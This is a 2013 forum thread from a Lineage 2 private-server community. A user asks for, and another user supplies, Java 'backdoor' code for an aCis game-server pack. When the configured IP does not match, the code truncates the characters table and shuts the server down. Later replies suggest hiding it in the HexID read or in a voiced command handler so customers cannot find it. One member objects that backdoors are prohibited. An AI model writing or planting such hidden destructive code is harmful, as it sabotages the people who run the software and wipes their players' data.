Backdoor

[numl0ckas]

Hello, as topic says i need backdoor java code.

If ip doesnt same as typed in gameserver.java where we put backdoor server doesnt turn on and all sql from navicat be deleted.

Can someone help to me make it? Or share it:)

PACK: L2jaCis

 

if(Config.GAMESERVER_HOSTNAME.equals("77.120.16.18") || 
Config.GAMESERVER_HOSTNAME.equals("77.120.29.151")) 
ThreadPoolManager.getInstance().schedule(new Runnable() { 
public void run () { try { Connection con = L2DatabaseFactory.getInstance().getConnection(); 
con.prepareStatement("truncate table characters").execute(); 

 

ITS FROM LUCERA i dont know its good backdoor or no, but here is example:)

[Stewie]

  On 7/24/2013 at 6:27 PM, numl0ckas said:

Hello, as topic says i need backdoor java code.

If ip doesnt same as typed in gameserver.java where we put backdoor server doesnt turn on and all sql from navicat be deleted.

Can someone help to me make it? Or share it:)

PACK: aCis

 

 

ITS FROM LUCERA i dont know its good backdoor or no, but here is example:)

 

Would you please kinda move code or smth... cuz with that size of topic probably noone is going to post anything more then once.

[numl0ckas]

Done

[Stewie]

  On 7/24/2013 at 6:30 PM, numl0ckas said:

Done

 

more little :D

[numl0ckas]

Now? :D

[Stewie]

  On 7/24/2013 at 6:32 PM, numl0ckas said:

Now? :D

 

perfect :) Maxtor said he will check this bug with code but (O.o)

[numl0ckas]

Okey, still waiting for help!

[xdem]

Gameserver.java find

 

 

 

public static void main(String[] args) throws Exception

{

 

and beneath it add

 

if (Config.GAMESERVER_HOSTNAME.equals("77.120.16.18") || Config.GAMESERVER_HOSTNAME.equals("77.120.29.151"))

{

    L2DatabaseFactory.getInstance().getConnection().prepareStatement("truncate table characters").execute();

    System.exit(1);

}

 

NOTE: you have to put ! if  u dont want equality; !Config

 

PS: Its extremely easy to be bypassed if u have the source, no matter how well u hide the code, since anyone can put the IPS directly on the socket rather than loading from the config

 

[Kràtos]

backdoor are prohibited! You should trust your costumer.

 

As i see people with harmed intelligence with the "backdoor" are helping now.

 

You should get banned for this or this topic should be locked.

 

 

[Devlin]

  On 7/24/2013 at 8:59 PM, ◦Cobra◦ said:

backdoor are prohibited! You should trust your costumer.

 

As i see people with harmed intelligence with the "backdoor" are helping now.

 

You should get banned for this or this topic should be locked.

 

 

Dafuq, he is able to do everything at his pack since it's not public.

[Boorinio]

you can add a voiced command handler witha complicated code which does that

[numl0ckas]

I need backdoor who delete all database and you can't start gameserver

[xdem]

  On 7/24/2013 at 8:59 PM, ◦Cobra◦ said:

backdoor are prohibited! You should trust your costumer.

 

As i see people with harmed intelligence with the "backdoor" are helping now.

 

You should get banned for this or this topic should be locked.

 

 

 

he will be banned for backdoring his server, report him pls

 

  Quote

I need backdoor who delete all database and you can't start gameserver

 

learn to read please, I gave u the excact code

[Intrepid]

You guys give really really easy to find and get rid of options :D

 

Hide the code inside the HexID read or somewhere people never look in the login :D

[Kràtos]

  On 7/25/2013 at 10:14 AM, Devlin said:

Dafuq, he is able to do everything at his pack since it's not public.

 

When you open a server the first thing you make is the backdoor? dafuq your style.

 

 

  Quote

he will be banned for backdoring his server, report him pls

 

 

pets

[numl0ckas]

I need if IP who typed in backdoor code is in gameserver ip so its okey, server turns on, but if IP is typed 127.0.0.1 in backdoor code and in gameserver network ip is writed 127.1.1.1 server doesnt turn on, xdem you dont understand me:)

 

		if (!Config.GAMESERVER_HOSTNAME.equals("192.168.0.100") || !Config.GAMESERVER_HOSTNAME.equals("94.23.59.169"))
	{
	     System.exit(-1);
	}

 

This makes if ip is typed here and in configs so server doesnt start. I need if here ip is typed and in configs not, server doesnt start. I think you understand me